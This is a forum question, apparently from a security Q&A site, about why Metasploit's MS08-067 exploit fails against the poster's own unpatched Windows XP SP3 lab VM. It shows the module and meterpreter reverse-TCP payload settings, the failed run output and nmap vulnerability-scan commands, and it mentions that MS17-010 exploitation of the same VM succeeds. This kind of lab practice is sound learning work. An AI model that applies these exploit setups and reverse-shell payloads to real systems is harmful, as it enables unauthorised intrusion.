Windows XP SP3 2002 is not vulnerable to MS08-067

Question

Why is my VM not vulnerable to MS08-067?

There are similar question on stack exchange, yes, but they fail to specify all relevant information and so non receive a meaningful, thoughtful nor thorough answer. And I am in need of one.

Problem: I can not exploit the VM with metasploit's ms08_067_netapi module, and the victim does not appear vulnerable at all, although it is a vanilla Windows XP without any security patches installed.

The set-up

Spec of victim:

• Windows XP (5.1 Build 2600, Service Pack 3). 2002 version, 32 bit VMware machine, hosted on arch.
• IP -> 192.168.0.65

Spec of attacker:

• latest kali
• IP -> 192.168.0.76

The set up in metasploit:

msf6 exploit(windows/smb/ms08_067_netapi) > options

Module options (exploit/windows/smb/ms08_067_netapi):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOSTS   192.168.0.65     yes       The target host(s), see https://github.com/rapid7/metasploit-framework
                                       /wiki/Using-Metasploit
   RPORT    445              yes       The SMB service port (TCP)
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.0.76     yes       The listen address (an interface may be specified)
   LPORT     80               yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic Targeting

The failed exploit:

msf6 exploit(windows/smb/ms08_067_netapi) > run

[*] Started reverse TCP handler on 192.168.0.76:80 
[*] 192.168.0.65:445 - Automatically detecting the target...
[*] 192.168.0.65:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.0.65:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.0.65:445 - Attempting to trigger the vulnerability...
[*] Exploit completed, but no session was created

Similar questions:

This question's comments propose to double check with nmap scripts before attempting to exploit with metasploit.

• Nmap smb-vuln-ms0-067 script does not detect the vulnerability.

nmap -p 445 --script=smb-vuln-ms08-067 192.168.0.65     
Starting Nmap 7.92 ( https://nmap.org ) at 2022-04-06 04:51 EDT
Nmap scan report for 192.168.0.65
Host is up (0.00072s latency).

PORT    STATE SERVICE
445/tcp open  microsoft-ds
MAC Address: 00:0C:29:BC:07:AD (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.66 seconds

for contrast, the machine is vulnerable to MS17-010 and exploitable via metasploit MS17-010 module. The vulnerability can be detected via nmap script:

nmap -p 445 --script=smb-vuln-ms17-010 192.168.0.65  
-snip-
Host script results:
| smb-vuln-ms17-010: 
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
-snip-

Furthermore, the same question's answers propose that exploit fails because:

1. Target is patched.
2. Not supported language' error from the target.
3. The payload can't execute correctly.
4. Networking errors 'reverse connection through NAT'.
5. Change payload type.

To answer this in order:

1. The target has no security updates installed. Checked through Control Panel.
2. I do not get this error.
3. My machine is 32 bit, as MS08-067 is a 32 bit exploit. I know it wouldn't work for a 64 bit machine.
4. I do not get this error, and as demonstrated via MS17-010 exploitation, the machines can communicate with each other well enough.
5. I tried reverse shells, bind shells, staged and stage-less payloads, I tried meterpreter shells, simple reverse tcp and more.

Unlike this question I can not confirm the vulnerability with nmap, as discussed above. The answers propose that:

1. nmap script could have crashed the service/machine.
2. Best to reboot machine between scans/exploits to ensure everything is up.
3. It's advisable to change the pipe.
4. The payload is wrong.
5. Changing LPORT could help and bypass firewall rules

Answering in order:

1. VM is up and running well, I can even exploit it with ms17, which also depends on the SMB service.
2. Just to be sure, I rebooted the VM many times, each time trying a different order of scans/exploits. It's not the problem of service/VM crashing.
3. I have only the BROWSER pipe open.
4. See previous block of Q/As.
5. I tried setting LPORT to the proposed 80, 443 and otherwise high ports 12345, 6xxxx etc.

This question has been closed as "off-topic", but it strikes home for me. The user is in the same situation as me: They are working through the same book, they are using the exact same VM, and even nmap report is the same (i.e. no susceptibility to MS08-067 detected).

1. In comments it has been proposed to check if KB958644 is installed Answer:
2. No, Control Panel -> Remove/Add programs -> check the box saying "Show updates" does not show any updates installed. Automatic updates are off. This is a vanilla VM, installed via ISO.

Here we get the OP who gets the same error as me "Exploit commpleted but no session created", and specifies the things they tried.

1. The answers, again, say that target is surely patched, or the payload/handler are set-up wrongly. Answer:
2. Again, I have no patches installed, the payload and such have been checked and experimented with.

Finally, this question reports very similar situation - the exploit fails to run, so the comments propose to run the check instead of exploit. When this reports system to not be vulnerable, one should double check with nmap. Again, I have done both. However the workaround to change the target to Windows XP SP2 did not work for me. I changed the target to many other options too.

Other things I could think of:

1. SMB is up. Checked with nmap, double-checked that File Sharing is on through Network and Connections.
2. Firewall is turned off.

Besides a single instance of OP finding a "workaround" which does not work for me, and surely is not universally, there is no answer as far as I am concerned. I am now week into debugging this problem and I honestly am clueless. Any fresh breeze into the problem is appreciated.

Please try not to ask me to do any of the things I listed above To quickly summarize:

• target is not patched
• target/attack machine can reach each other
• target does not appear vulnerable (nmap/metaspoit "check")